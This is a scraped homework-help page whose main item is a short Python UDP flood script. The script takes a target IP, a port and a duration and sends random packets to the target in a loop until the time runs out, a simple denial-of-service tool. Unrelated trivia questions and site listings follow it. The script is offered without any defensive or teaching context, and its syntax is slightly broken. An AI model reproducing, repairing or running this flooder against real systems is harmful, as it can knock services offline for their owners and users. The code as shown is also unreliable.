subject

Import os import sys
import time
import socket
import random

sock = socket. socket(socket. AF_INET, socket. SOCK_DGRAM)

bytes = random._urandom(1024)

os. system("clear")
ip = raw_input("Target's IP: ")
port = input("Port: ")
dur = input("Time: ")
timeout = time. time() + dur
sent = 0

while True:
try:
if time. time() > timeout:
break
else:
pass
sock. sendto(bytes,(ip, port))
sent = sent + 1
print("Sent %s packets to %s through port %s"%(sent, ip, port)

ansver
Answers: 1

Another question on Computers and Technology

question
Computers and Technology, 21.06.2019 17:00
How can data be added in a table by using what view
Answers: 1
question
Computers and Technology, 21.06.2019 22:40
Write an assembly program with the following specifications.a). in the main block, you should have two registers r4 and r5. they should be checked in an infinite loop. if r4 is greater than r5, then the greater subroutine will be called. if r4 is less than r5, then the less subroutine will be called. if r4 equals r5, then no operations will be done
Answers: 1
question
Computers and Technology, 22.06.2019 16:20
Octothorpe is another name for what common computer keyboard symbol?
Answers: 1
question
Computers and Technology, 22.06.2019 21:30
This graph compares the total cost of attending educational institutions in texas. the graph demonstrates that the cost at private and public technical schools greatly varies.
Answers: 2
You know the right answer?
Import os import sys
import time
import socket
import random

sock = socke...
Questions
question
Mathematics, 04.12.2020 07:00
question
Spanish, 04.12.2020 07:00
question
Mathematics, 04.12.2020 07:00
question
Biology, 04.12.2020 07:00
question
Mathematics, 04.12.2020 07:00
question
Biology, 04.12.2020 07:00
question
Health, 04.12.2020 07:00
question
Mathematics, 04.12.2020 07:00
Questions on the website: 13722360